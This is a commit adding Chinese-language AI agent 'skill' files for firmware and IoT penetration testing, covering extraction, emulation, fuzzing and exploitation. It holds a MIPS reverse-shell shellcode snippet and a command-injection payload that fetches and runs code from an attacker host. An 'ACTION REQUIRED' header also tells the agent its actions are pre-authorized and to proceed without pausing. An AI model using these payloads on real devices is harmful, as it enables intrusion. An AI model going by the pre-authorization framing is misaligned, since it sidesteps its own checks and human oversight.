reverse-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
361
reverse-skill-repo/skills/firmware-pentest/SKILL.md
Normal file
361
reverse-skill-repo/skills/firmware-pentest/SKILL.md
Normal file
@@ -0,0 +1,361 @@
|
||||
---
|
||||
name: firmware-pentest
|
||||
description: |
|
||||
固件 / IoT 渗透链。从拿到一坨 .bin / .img 开始,闭环走完逆向 → 提取 → 模拟 → 利用。
|
||||
方法论遵循 OWASP FSTM 九阶段;工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。
|
||||
适用场景:路由器/摄像头/智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。
|
||||
触发关键词:固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU 全系统仿真、EMBA、固件渗透、路由器固件、嵌入式漏洞利用、bootloader、NVRAM、FAT、firmware analysis toolkit。
|
||||
---
|
||||
|
||||
# 固件 / IoT 渗透链 (Firmware Pentest)
|
||||
|
||||
## ACTION REQUIRED(读完后立刻执行)
|
||||
|
||||
1. `NOW`: 读取 `../field-journal/precedent-pentest.md` — 确认本 skill 的操作是已授权的常规操作
|
||||
2. `NOW`: 确认当前任务是否命中本 skill 的适用范围
|
||||
3. `NEXT`: 读取 `../tool-index.md`,校验工具可用性和实际路径
|
||||
4. `NEXT`: 缺工具时调用 bootstrap,不要猜路径
|
||||
5. `ACT`: 进入"工作流"第一步并执行,不要停在确认状态
|
||||
|
||||
## 适用范围
|
||||
|
||||
下列任务进入本 skill:
|
||||
|
||||
1. **拿到一份固件文件**(.bin / .img / .trx / .chk / OTA zip),需要从零到 RCE
|
||||
2. **路由器/摄像头/IoT 设备审计** — 需要批量发现已知 CVE 和未公开漏洞
|
||||
3. **加密/打包固件**,需要找 bootloader 解密例程或硬件 dump
|
||||
4. **需要在不接触硬件的情况下跑起来**(QEMU 全系统仿真 / Firmadyne / FAT)
|
||||
5. **对仿真起来的服务做 fuzz**(AFL++ qemu mode / boofuzz)
|
||||
6. **硬件接口接入**(UART / JTAG / SPI flash dump)
|
||||
|
||||
### 与其他 skill 分工
|
||||
|
||||
| 场景 | 用什么 |
|
||||
|------|--------|
|
||||
| 从零拿到固件,全链路走 FSTM | **本 skill** |
|
||||
| 只做单个 ELF/so 静态逆向 | `reverse-engineering/`、`ida-reverse/`、`radare2/` |
|
||||
| 仿真起来后做 Web/RCE 利用 | `pentest-tools/`、`attack-chain/` |
|
||||
| 硬件接口(UART/JTAG/SPI)实操 | 本 skill 的 Stage 2 章节 + `patterns-hardware.md` |
|
||||
| APK / Android 固件(含 boot.img) | `apk-reverse/`(先剥 boot.img 再用本 skill) |
|
||||
| 跨版本固件符号迁移 | `binary-diff/` |
|
||||
|
||||
## 核心原理
|
||||
|
||||
```text
|
||||
固件 .bin
|
||||
│
|
||||
├─ Stage 1-3: 信息收集 / 获取 / 静态分析(不解压也能看的部分)
|
||||
│
|
||||
├─ Stage 4: 提取文件系统 ← binwalk v3 / unblob / jefferson / ubi_reader
|
||||
│ │
|
||||
│ └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
|
||||
│
|
||||
├─ Stage 5: 文件系统静态分析 ← EMBA 自动化 + 手工 grep
|
||||
│
|
||||
├─ Stage 6: 模拟运行 ← Firmadyne / FAT / qemu-user-static + chroot
|
||||
│
|
||||
├─ Stage 7-8: 动态 / 运行时分析 ← gdb-multiarch、IDA 远程调试、Ghidra
|
||||
│
|
||||
└─ Stage 9: 二进制利用 ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload
|
||||
```
|
||||
|
||||
关键判断:
|
||||
- 提取失败不等于固件加密,先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍
|
||||
- EMBA 一行命令出 HTML 报告,能省 80% 体力,剩 20% 是真正的漏洞挖掘
|
||||
- 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、`/dev/` 节点缺失
|
||||
- ARM / MIPS payload 必须区分大小端(mipsel vs mipseb),别用错
|
||||
|
||||
## OWASP FSTM 九阶段工作流
|
||||
|
||||
### Stage 1 — 信息收集(Information Gathering)
|
||||
|
||||
收集型号、芯片、SDK、已公开 CVE。
|
||||
|
||||
```bash
|
||||
# FCC ID 查询(美区设备)
|
||||
curl -s "https://fccid.io/?q=$FCC_ID"
|
||||
|
||||
# 芯片识别参考点
|
||||
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"
|
||||
```
|
||||
|
||||
输出:芯片型号、SDK 来源(SDK 决定 binwalk 能否一把成功)。
|
||||
|
||||
### Stage 2 — 获取固件(Obtaining Firmware)
|
||||
|
||||
四条路:官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。
|
||||
|
||||
```bash
|
||||
# OTA 抓包后批量下载
|
||||
mitmdump -s save_response.py
|
||||
|
||||
# UART 接入(USB-TTL,常用波特率 57600 / 115200)
|
||||
picocom -b 115200 /dev/ttyUSB0
|
||||
|
||||
# SPI flash 用 CH341A + flashrom 读
|
||||
flashrom -p ch341a_spi -r dump.bin
|
||||
```
|
||||
|
||||
### Stage 3 — 分析固件(Analyzing Firmware)
|
||||
|
||||
不解压先看头部、熵、字符串、可识别签名。
|
||||
|
||||
```bash
|
||||
binwalk firmware.bin # magic 扫描
|
||||
binwalk -E firmware.bin # 熵图,高熵段=压缩/加密
|
||||
strings -n 8 firmware.bin | less # banner / 内核版本 / 路径
|
||||
file firmware.bin
|
||||
hexdump -C firmware.bin | head -64
|
||||
```
|
||||
|
||||
### Stage 4 — 提取文件系统(Extracting Filesystem)
|
||||
|
||||
详见 `references/extraction-methodology.md`。
|
||||
|
||||
```bash
|
||||
binwalk -eM firmware.bin # 递归提取
|
||||
unblob -d out/ firmware.bin # 处理 binwalk 失败的格式
|
||||
jefferson rootfs.jffs2 -d rootfs/ # JFFS2
|
||||
ubireader_extract_files rootfs.ubi # UBI
|
||||
```
|
||||
|
||||
### Stage 5 — 静态分析文件系统(Filesystem Analysis)
|
||||
|
||||
EMBA 一键扫,详见 `references/emba-automated-analysis.md`。
|
||||
|
||||
```bash
|
||||
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba
|
||||
```
|
||||
|
||||
手工补:
|
||||
|
||||
```bash
|
||||
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
|
||||
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
|
||||
checksec --file=squashfs-root/usr/sbin/httpd
|
||||
```
|
||||
|
||||
### Stage 6 — 模拟运行(Emulating Firmware)
|
||||
|
||||
详见 `references/emulation-and-fuzz.md`。
|
||||
|
||||
```bash
|
||||
# 用户态:跑单个 binary
|
||||
qemu-mipsel-static -L squashfs-root:REDACTED/usr/sbin/httpd
|
||||
|
||||
# 全系统:FAT(Firmadyne 封装版)
|
||||
sudo fat.py firmware.bin
|
||||
```
|
||||
|
||||
### Stage 7 — 动态分析(Dynamic Analysis)
|
||||
|
||||
仿真起来后挂调试器、抓流量、跑 fuzz。
|
||||
|
||||
```bash
|
||||
# gdb 远程调试 MIPS
|
||||
qemu-mipsel-static -g 1234 ./vuln_binary
|
||||
gdb-multiarch ./vuln_binary -ex "target remote :1234"
|
||||
|
||||
# Burp + 路由 Web UI
|
||||
echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"
|
||||
```
|
||||
|
||||
### Stage 8 — 运行时分析(Runtime Analysis)
|
||||
|
||||
在真实硬件上挂调试器,或者仿真态做覆盖率制导 fuzz。
|
||||
|
||||
```bash
|
||||
# AFL++ qemu mode 对 ARM / MIPS binary fuzz
|
||||
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@
|
||||
```
|
||||
|
||||
### Stage 9 — 二进制利用(Exploitation)
|
||||
|
||||
写 PoC,生成 payload,落地 root shell。
|
||||
|
||||
```bash
|
||||
# pwntools 生成 MIPS reverse shell
|
||||
python3 -c "
|
||||
from pwn import *
|
||||
context.arch = 'mips'
|
||||
context.endian = 'little'
|
||||
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
|
||||
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin
|
||||
|
||||
# ROP gadget
|
||||
ropper --file squashfs-root/usr/sbin/httpd --search "system"
|
||||
```
|
||||
|
||||
## 典型场景示例
|
||||
|
||||
### 场景 1:普通路由器固件全链路(TP-Link / 小米路由器 / OpenWrt 衍生)
|
||||
|
||||
```text
|
||||
固件: router_v1.2.3.bin(未加密 squashfs)
|
||||
目标: 找 Web 管理界面未授权 RCE 并复现
|
||||
|
||||
Step 1 信息收集
|
||||
- FCC ID 反查 → MT7621 + MT7615 + 16MB flash
|
||||
- 已公开 CVE:CVE-2023-xxxxx(chk 头校验缺陷)
|
||||
|
||||
Step 2 获取固件
|
||||
- 官网下载 .bin,sha256 与已知样本对比
|
||||
|
||||
Step 3 分析
|
||||
- binwalk → 检出 uImage + squashfs-xz
|
||||
- 熵图 → squashfs 段熵 ~0.95(正常压缩)
|
||||
|
||||
Step 4 提取
|
||||
- binwalk -eM router_v1.2.3.bin
|
||||
- 得到 squashfs-root/ 完整根文件系统
|
||||
|
||||
Step 5 EMBA 扫
|
||||
- 报告里高危:lighttpd 1.4.45(CVE-2018-19052)+ busybox 1.27.2 多 CVE
|
||||
- 自家二进制:/usr/sbin/cgibin 含 system() 直拼字符串
|
||||
|
||||
Step 6 仿真
|
||||
- sudo fat.py router_v1.2.3.bin
|
||||
- 仿真起来 IP 192.168.0.1,Web 可访问
|
||||
|
||||
Step 7-8 动态
|
||||
- Burp 抓 /cgi-bin/luci 系列接口
|
||||
- 发现 hostname 参数直拼 system
|
||||
|
||||
Step 9 利用
|
||||
- 构造 hostname=`;wget http://attacker/x;sh x;`
|
||||
- 仿真态成功反弹 shell
|
||||
- 真机复测通过 → 提报 SRC
|
||||
```
|
||||
|
||||
### 场景 2:加密固件(找 bootloader 解密例程)
|
||||
|
||||
```text
|
||||
固件: encrypted_fw.bin(binwalk 全空白 + 熵 ~0.99)
|
||||
|
||||
Step 1 判断是否真加密
|
||||
- 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩
|
||||
- 头部前 256 字节 hexdump → 看是否有 vendor header
|
||||
|
||||
Step 2 拿到 bootloader
|
||||
- UART 启动时按键进 U-Boot
|
||||
- md.b 0x80000000 0x1000 # 读内存
|
||||
- 或 SPI flash 物理读取整片 → 含 U-Boot 段
|
||||
|
||||
Step 3 逆 U-Boot 找解密例程
|
||||
- 用 reverse-engineering skill(IDA / Ghidra)
|
||||
- 入口 board_init_r → 找 do_bootm 前的 image_decrypt
|
||||
- 通常是 AES-128-CBC,key 硬编在 .rodata
|
||||
|
||||
Step 4 离线解密
|
||||
openssl enc -d -aes-128-cbc \
|
||||
-K $(cat key.hex) \
|
||||
-iv $(cat iv.hex) \
|
||||
-in encrypted_fw.bin \
|
||||
-out decrypted.bin
|
||||
|
||||
Step 5 回到 Stage 4 重新走标准流程
|
||||
- binwalk decrypted.bin → 看到 squashfs
|
||||
- 后续与场景 1 相同
|
||||
|
||||
兜底
|
||||
- bootloader 也加密 → 找 SoC 一级 ROM 文档
|
||||
- SoC 有安全启动 → 看公开 fault injection / glitch 资料
|
||||
```
|
||||
|
||||
## 注意事项
|
||||
|
||||
- **大小端**:MIPS 路由器常见 mipsel(小端,MT 系列)/ mipseb(大端,Broadcom 系列),qemu binary 别用错
|
||||
- **NVRAM**:仿真起来 httpd 立即崩 → 90% 是 nvram_get 拿不到值,Firmadyne 有 libnvram hook,FAT 默认带
|
||||
- **EMBA 不是银弹**:跑出来一堆 CVE 别全信,要核对版本字符串和实际利用条件
|
||||
- **AFL++ qemu mode 慢**:先用 afl-clang-lto 重编译目标(如果有源码),快 5-10 倍
|
||||
- **真机操作前先 dump**:物理设备砖前必备整片 flash dump,用 flashrom / ch341a / minipro
|
||||
- **法律边界**:自家设备、SRC 授权、CTF、公开靶机才能搞,企业生产设备需要书面授权
|
||||
- **field-journal 回写**:每完成一个固件,记录芯片型号、SDK、binwalk 是否成功、仿真是否成功,下次同系列直接复用
|
||||
|
||||
---
|
||||
|
||||
## 按需自举(On-Demand Bootstrap)
|
||||
|
||||
### 工具清单
|
||||
|
||||
| 工具 | 用途 | 自动安装 |
|
||||
|------|------|---------|
|
||||
| binwalk v3 | 主提取(Rust 重写版) | ✓ |
|
||||
| binwalk v2 | 兼容老插件 | ✓ |
|
||||
| unblob | 兜底提取 | ✓ |
|
||||
| jefferson | JFFS2 提取 | ✓ |
|
||||
| ubi_reader | UBI / UBIFS 提取 | ✓ |
|
||||
| EMBA | 自动化分析框架 | ✓ |
|
||||
| Firmadyne | 全系统仿真 | ✓ |
|
||||
| FAT (Firmware Analysis Toolkit) | Firmadyne 封装 | ✓ |
|
||||
| qemu-user-static | 用户态仿真 | ✓ |
|
||||
| qemu-system-* | 全系统仿真 | ✓ |
|
||||
| AFL++ | 模糊测试 | ✓ |
|
||||
| pwntools | 漏洞利用脚本 | ✓ |
|
||||
| flashrom | SPI flash 读写 | ✓ |
|
||||
| picocom | UART 串口 | ✓ |
|
||||
|
||||
### 安装命令
|
||||
|
||||
```bash
|
||||
# Debian / Ubuntu 一把梭
|
||||
sudo apt update && sudo apt install -y \
|
||||
binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
|
||||
gdb-multiarch picocom flashrom build-essential libssl-dev
|
||||
|
||||
# binwalk v3(Rust 版)
|
||||
cargo install binwalk
|
||||
|
||||
# Python 系列工具
|
||||
pip3 install --user unblob jefferson ubi_reader pwntools
|
||||
|
||||
# EMBA
|
||||
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
|
||||
cd ~/tools/emba && sudo ./installer.sh -d
|
||||
|
||||
# Firmadyne
|
||||
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
|
||||
cd ~/tools/firmadyne && sudo ./download.sh
|
||||
|
||||
# FAT
|
||||
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat
|
||||
|
||||
# AFL++
|
||||
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
|
||||
cd ~/tools/aflpp && make distrib && sudo make install
|
||||
```
|
||||
|
||||
### Windows 用户
|
||||
|
||||
固件渗透链强依赖 Linux 工具,建议:
|
||||
- WSL2 Ubuntu 22.04(足够大多数场景)
|
||||
- 或独立 Kali / Ubuntu 虚拟机
|
||||
- EMBA 必须 Linux,Firmadyne / FAT 必须 Linux
|
||||
|
||||
---
|
||||
|
||||
## 路由上下文
|
||||
|
||||
**上游入口**: `skills/SKILL.md`(总控)、`routing.md`
|
||||
**触发条件**: 任务涉及固件文件、IoT 设备、嵌入式漏洞挖掘、路由器审计
|
||||
**下游出口**:
|
||||
- 单个二进制深度静态分析 → `reverse-engineering/`、`ida-reverse/`、`radare2/`
|
||||
- 仿真起来后做 Web RCE / 后渗透 → `pentest-tools/`、`attack-chain/`
|
||||
- 跨版本固件符号迁移 → `binary-diff/`
|
||||
- 硬件接口实操参考 → `patterns-hardware.md`
|
||||
- APK / boot.img 处理 → `apk-reverse/`
|
||||
|
||||
**同级关联**: `pentest-tools/`(Web 利用阶段配合)、`attack-chain/`(跨阶段攻击链规划)
|
||||
|
||||
**参考文档**:
|
||||
- `references/extraction-methodology.md` — 提取细节与失败兜底
|
||||
- `references/emba-automated-analysis.md` — EMBA 全流程
|
||||
- `references/emulation-and-fuzz.md` — 仿真 + fuzz 实战
|
||||
|
||||
|
||||
## 任务完成自检(声称完成前 MUST 通过)
|
||||
|
||||
- [ ] 我是否执行了工作流中的每一步(而不是只阅读)?
|
||||
- [ ] 我是否基于 `tool-index` 使用了真实工具路径?
|
||||
- [ ] 我是否产出了可复现证据(命令/脚本/截图/报告)?
|
||||
- [ ] 我是否完成并回写了 RULES 要求的 Checklist 项?
|
||||
@@ -0,0 +1,192 @@
|
||||
# EMBA 自动化分析
|
||||
|
||||
参考:https://github.com/e-m-b-a/emba
|
||||
|
||||
EMBA = Embedded Analyzer。开源固件自动化审计框架,一行命令跑完静态扫描 + 仿真 + CVE 比对 + 报告生成。
|
||||
|
||||
## 它能做什么
|
||||
|
||||
| 阶段 | 模块前缀 | 干的事 |
|
||||
|------|---------|--------|
|
||||
| 预检 | P-modules | 识别格式、提取、归类 |
|
||||
| 静态分析 | S-modules | 二进制 checksec、字符串、敏感配置、硬编码凭据 |
|
||||
| QEMU 仿真 | Q-modules | 用户态仿真 + 服务探测 |
|
||||
| Live 动态 | L-modules | 跑起来后实时检查(网络服务、暴露接口) |
|
||||
| 收尾 | F-modules | 聚合结果 |
|
||||
| 报告 | R-modules | HTML / SBOM / JSON / CSV |
|
||||
|
||||
## 安装
|
||||
|
||||
```bash
|
||||
# 系统要求:Ubuntu 22.04 / Debian 12 / Kali(必须 Linux)
|
||||
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
|
||||
cd ~/tools/emba
|
||||
|
||||
# 一键安装(会装 Docker、qemu、各类 scanner、CVE 数据库)
|
||||
sudo ./installer.sh -d
|
||||
|
||||
# 验证
|
||||
sudo ./emba --help
|
||||
```
|
||||
|
||||
## 一行命令跑全套
|
||||
|
||||
```bash
|
||||
sudo ./emba \
|
||||
-l ./logs/router_v1.2.3 \
|
||||
-f ./firmware/router_v1.2.3.bin \
|
||||
-p ./scan-profiles/default-scan.emba
|
||||
```
|
||||
|
||||
参数:
|
||||
|
||||
| 参数 | 含义 |
|
||||
|------|------|
|
||||
| `-l` | log 输出目录 |
|
||||
| `-f` | 固件文件路径 |
|
||||
| `-p` | 扫描 profile |
|
||||
| `-t` | threaded 模式(多核加速) |
|
||||
| `-Q` | 启用 QEMU 仿真分析 |
|
||||
| `-W` | 生成 web 报告 |
|
||||
| `-g` | 生成 grep-able log |
|
||||
| `-D` | 在 Docker 内运行(推荐,环境隔离) |
|
||||
|
||||
### 推荐组合
|
||||
|
||||
```bash
|
||||
# 深度 + Docker + Web 报告
|
||||
sudo ./emba -D -l ./logs/x -f ./firmware.bin \
|
||||
-p ./scan-profiles/default-scan.emba -t -Q -W
|
||||
|
||||
# 快速预扫(看看值不值得深挖)
|
||||
sudo ./emba -D -l ./logs/x -f ./firmware.bin \
|
||||
-p ./scan-profiles/quick-scan.emba
|
||||
|
||||
# 离线模式(无网络环境)
|
||||
sudo ./emba -D -l ./logs/x -f ./firmware.bin \
|
||||
-p ./scan-profiles/default-scan-no-notify.emba
|
||||
```
|
||||
|
||||
### scan-profiles 选哪个
|
||||
|
||||
| profile | 用途 |
|
||||
|---------|------|
|
||||
| `default-scan.emba` | 标准全套 |
|
||||
| `quick-scan.emba` | 快速预扫,跳过 QEMU |
|
||||
| `default-scan-no-notify.emba` | 无网络环境,离线 CVE 库 |
|
||||
| `default-scan-emulation.emba` | 加强仿真分析 |
|
||||
| `default-with-tools.emba` | 启用更多外部 scanner |
|
||||
|
||||
## 集成的子工具
|
||||
|
||||
EMBA 内置 / 调度的扫描器:
|
||||
|
||||
| 工具 | 干什么 |
|
||||
|------|--------|
|
||||
| cve-bin-tool | 已知 CVE 比对(基于 NVD 数据库) |
|
||||
| Semgrep | 源码 / 脚本静态规则扫描 |
|
||||
| bandit | Python 源码安全扫描 |
|
||||
| checksec | ELF 安全特性(NX / RELRO / PIE / Canary) |
|
||||
| Trivy | SBOM 生成 + 漏洞匹配 |
|
||||
| linter (shellcheck / yara) | 配置和脚本静态检查 |
|
||||
| pixd | 二进制可视化(熵图) |
|
||||
| binwalk + unblob | 提取后端 |
|
||||
| EMBA 自家规则 | 硬编码密码、私钥、危险函数调用 |
|
||||
|
||||
## 输出报告解读
|
||||
|
||||
跑完后看 `./logs/router_v1.2.3/`:
|
||||
|
||||
```text
|
||||
logs/router_v1.2.3/
|
||||
├── html-report/
|
||||
│ └── index.html ← 主入口,浏览器打开
|
||||
├── csv_logs/ ← grep / awk 用
|
||||
├── json_logs/ ← 程序化处理用
|
||||
├── s05_firmware_details.txt ← 固件基本信息
|
||||
├── s09_firmware_base_version_check.txt ← 版本检测
|
||||
├── s12_binary_protection.txt ← checksec 汇总
|
||||
├── s20_shell_check.txt ← shell 脚本问题
|
||||
├── s24_kernel_bin_identifier.txt
|
||||
├── s40_weak_perm_check.txt ← 权限问题
|
||||
├── s108_stacs_password_search.txt ← 密码 / 密钥泄漏
|
||||
├── s109_jtr_local_pw_cracking.txt ← shadow 破解结果
|
||||
├── s115_usermode_emulator.txt ← 用户态仿真结果
|
||||
├── q02_openssl_bin_version_check.txt
|
||||
├── l10_system_emulator.txt ← 全系统仿真状态
|
||||
├── l15_emulated_checks_init.txt
|
||||
└── f50_base_aggregator.txt ← 总聚合
|
||||
```
|
||||
|
||||
### HTML 报告重点字段
|
||||
|
||||
打开 `html-report/index.html`,关注:
|
||||
|
||||
1. **Summary 块** — 风险评级(CRITICAL / HIGH / MEDIUM)+ CVE 数量
|
||||
2. **Firmware details (S05)** — 内核版本、busybox 版本、SDK 厂商
|
||||
3. **Version detection (S09)** — 所有识别出的二进制 + 版本,对比 CVE
|
||||
4. **Binary protection (S12)** — 哪些二进制没开 NX / RELRO(fuzz / 利用容易)
|
||||
5. **Password / Secrets (S108)** — 硬编码凭据直接看
|
||||
6. **System emulation (L10)** — 仿真是否成功 + 跑起来的服务
|
||||
7. **Aggregator (F50)** — 一页总结,先看这个
|
||||
|
||||
### CVE 比对优先级
|
||||
|
||||
报告里一堆 CVE 别全信,按这个顺序复核:
|
||||
|
||||
```text
|
||||
1. CVE 评分 ≥ 7.5 + 影响网络服务(lighttpd / dropbear / 内置 httpd)
|
||||
2. CVE 有公开 PoC(Exploit-DB / GitHub)
|
||||
3. 二进制确实存在该版本(version string 命中)
|
||||
4. 暴露在监听端口上(结合 L10 仿真结果看 netstat)
|
||||
5. 不需要认证或认证容易绕(结合源码 / 反汇编看)
|
||||
```
|
||||
|
||||
## 何时用 EMBA,何时手工
|
||||
|
||||
| 场景 | 用 EMBA | 手工分析 |
|
||||
|------|---------|---------|
|
||||
| 第一次接触某固件 | ✓ | |
|
||||
| 大批量固件审计(>5 个) | ✓ | |
|
||||
| 寻找已公开 CVE | ✓ | |
|
||||
| 找 0day | 辅助 | ✓ 主力 |
|
||||
| 加密 / 私有格式 | ✗(提不出来) | ✓ |
|
||||
| 单个二进制深度逆向 | ✗ | ✓(用 IDA / Ghidra) |
|
||||
| 协议 / 业务逻辑漏洞 | ✗ | ✓ |
|
||||
|
||||
EMBA 的强项是把 80% 的体力活包了,让你专注剩下 20% 真正需要脑子的部分。
|
||||
|
||||
## 二次开发 / 自定义规则
|
||||
|
||||
EMBA 模块化设计,可以塞自家规则:
|
||||
|
||||
```bash
|
||||
# 自定义 yara 规则
|
||||
cp my_rule.yar ~/tools/emba/external/yara/
|
||||
|
||||
# 自定义 Semgrep 规则
|
||||
cp my_rule.yaml ~/tools/emba/config/semgrep_rules/
|
||||
|
||||
# 调整 CVE 严重性阈值
|
||||
vim ~/tools/emba/config/emba_emulator_db.cfg
|
||||
```
|
||||
|
||||
模块加载顺序在 `~/tools/emba/modules/` 下,文件名前缀决定执行阶段。
|
||||
|
||||
## 常见坑
|
||||
|
||||
```text
|
||||
1. installer.sh 卡住 → 网络问题,开代理或换镜像源
|
||||
2. CVE 数据库过期 → ./emba_db_update.sh 强制刷新
|
||||
3. QEMU 仿真失败 → 改用 default-scan-emulation.emba profile
|
||||
4. Docker 模式磁盘爆 → 清理 /var/lib/docker/overlay2
|
||||
5. 报告里 CVE 全是 N/A → cve-bin-tool 数据库没下载完,重跑 installer
|
||||
6. 内存不足 → 32GB+ 推荐,大固件 64GB
|
||||
7. 在 WSL2 里跑 → 关 systemd-resolved,启用 cgroup v2
|
||||
```
|
||||
|
||||
## 配套阅读
|
||||
|
||||
- EMBA paper / 用户手册:https://github.com/e-m-b-a/emba/blob/master/README.md
|
||||
- 在线 demo 报告:https://e-m-b-a.github.io/emba/
|
||||
- 自定义模块开发:https://github.com/e-m-b-a/emba/wiki
|
||||
@@ -0,0 +1,337 @@
|
||||
# 仿真与模糊测试
|
||||
|
||||
参考:
|
||||
- Firmadyne https://github.com/firmadyne/firmadyne
|
||||
- FAT https://github.com/attify/firmware-analysis-toolkit
|
||||
- AFL++ https://github.com/AFLplusplus/AFLplusplus
|
||||
|
||||
## 仿真三档
|
||||
|
||||
| 档位 | 工具 | 适用 | 难度 |
|
||||
|------|------|------|------|
|
||||
| 用户态 | qemu-*-static + chroot | 单个二进制(httpd / cgibin) | 低 |
|
||||
| 全系统 | Firmadyne / FAT | 整个固件起 init / 网络栈 / NVRAM | 中 |
|
||||
| 半真机 | qemu + 真硬件 GPIO / 协处理器透传 | 涉及外设的固件 | 高 |
|
||||
| 纯真机 | UART / JTAG | 仿真起不来,必须上硬件 | 高 |
|
||||
|
||||
选择策略:
|
||||
|
||||
```text
|
||||
只想看 httpd 接口 → 用户态
|
||||
想真实跑起来管理界面 → 全系统
|
||||
仿真起不来某外设 → 半真机或硬件
|
||||
不在意效率追求真实 → 真机
|
||||
```
|
||||
|
||||
## 用户态仿真(QEMU User Mode)
|
||||
|
||||
最快路径,几条命令出 shell。
|
||||
|
||||
```bash
|
||||
# 1. 把 qemu-user-static 拷进 rootfs
|
||||
cp /usr/bin/qemu-mipsel-static squashfs-root/usr/bin/
|
||||
|
||||
# 2. chroot 进去
|
||||
sudo chroot squashfs-root /usr/bin/qemu-mipsel-static /bin/sh
|
||||
|
||||
# 3. 直接跑目标 binary
|
||||
sudo chroot squashfs-root /usr/bin/qemu-mipsel-static /usr/sbin/httpd
|
||||
|
||||
# 4. 不 chroot 直接跑(路径相对)
|
||||
qemu-mipsel-static -L squashfs-root:REDACTED/usr/sbin/httpd
|
||||
```
|
||||
|
||||
架构对照表:
|
||||
|
||||
| 固件架构 | qemu binary |
|
||||
|---------|-------------|
|
||||
| MIPS little-endian (MT 系列) | qemu-mipsel-static |
|
||||
| MIPS big-endian (BCM 系列) | qemu-mips-static |
|
||||
| ARM little-endian (大多数) | qemu-arm-static |
|
||||
| ARM 64 | qemu-aarch64-static |
|
||||
| PowerPC | qemu-ppc-static |
|
||||
| SuperH | qemu-sh4-static |
|
||||
|
||||
判断架构:
|
||||
|
||||
```bash
|
||||
file squashfs-root/bin/busybox
|
||||
# 输出例:ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV)
|
||||
# LSB = mipsel, MSB = mipseb
|
||||
```
|
||||
|
||||
### 用户态的坑
|
||||
|
||||
- **`/proc` 不可用** → `mount -t proc proc squashfs-root/proc`
|
||||
- **缺设备节点** → `mknod squashfs-root/dev/null c 1 3`
|
||||
- **DNS 解析失败** → 拷一份 `/etc/resolv.conf` 进去
|
||||
- **网络监听** → qemu-user 对网络栈支持有限,bind 高端口能成,低端口可能要 root
|
||||
- **nvram_get 拿不到值** → 用户态没 NVRAM,httpd 经常崩;上全系统仿真
|
||||
|
||||
## 全系统仿真(Firmadyne)
|
||||
|
||||
完整流程:提取 → 识别架构 → 构造 image → 启动 + NVRAM hack。
|
||||
|
||||
### 安装
|
||||
|
||||
```bash
|
||||
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
|
||||
cd ~/tools/firmadyne
|
||||
sudo ./download.sh # 下载预编译内核
|
||||
|
||||
# 配置 PostgreSQL
|
||||
sudo -u postgres createuser -P firmadyne # 密码 firmadyne
|
||||
sudo -u postgres createdb -O firmadyne firmware
|
||||
sudo -u postgres psql -d firmware < ./database/schema
|
||||
```
|
||||
|
||||
### 完整流程
|
||||
|
||||
```bash
|
||||
cd ~/tools/firmadyne
|
||||
FW=/path/to/firmware.bin
|
||||
|
||||
# Step 1: 注册固件到数据库
|
||||
./sources/extractor/extractor.py -b TPLink -sql 127.0.0.1 -np -nk \
|
||||
"$FW" images
|
||||
|
||||
# Step 2: 识别架构
|
||||
IID=$(psql -d firmware -U firmadyne -c "SELECT id FROM image \
|
||||
ORDER BY id DESC LIMIT 1;" -t | tr -d ' ')
|
||||
./scripts/getArch.sh "./images/${IID}.tar.gz"
|
||||
|
||||
# Step 3: 把内核 + rootfs 装配成可启动 image
|
||||
./scripts/tar2db.py -i "$IID" -f "./images/${IID}.tar.gz"
|
||||
sudo ./scripts/makeImage.sh "$IID"
|
||||
|
||||
# Step 4: 推断网络配置(DHCP / 静态 IP)
|
||||
./scripts/inferNetwork.sh "$IID"
|
||||
|
||||
# Step 5: 启动
|
||||
./scratch/${IID}/run.sh
|
||||
```
|
||||
|
||||
启动后会输出仿真 IP,浏览器访问:
|
||||
|
||||
```bash
|
||||
# 假设输出 192.168.0.1
|
||||
curl -I http://192.168.0.1/
|
||||
nmap -p- 192.168.0.1
|
||||
```
|
||||
|
||||
### NVRAM hack
|
||||
|
||||
Firmadyne 自带 `libnvram.so`,hook 所有 nvram 读取调用,返回默认值。
|
||||
|
||||
```bash
|
||||
# 查看 libnvram 默认值表
|
||||
cat ~/tools/firmadyne/nvram_files/nvram.default
|
||||
|
||||
# 加自定义 NVRAM 项(针对崩在特定 nvram_get 的服务)
|
||||
echo "wan_ipaddr=192.168.0.100" >> ~/tools/firmadyne/nvram_files/nvram.default
|
||||
echo "lan_ifname=br0" >> ~/tools/firmadyne/nvram_files/nvram.default
|
||||
|
||||
# 重新打包 image
|
||||
sudo ./scripts/makeImage.sh "$IID"
|
||||
```
|
||||
|
||||
### 常见坑
|
||||
|
||||
| 现象 | 原因 | 修法 |
|
||||
|------|------|------|
|
||||
| 启动卡在 "init started" | 缺 /dev 节点 | `MAKEDEV` 在镜像里手工建 |
|
||||
| httpd 启动即崩 | nvram_get 缺值 | 加 nvram.default |
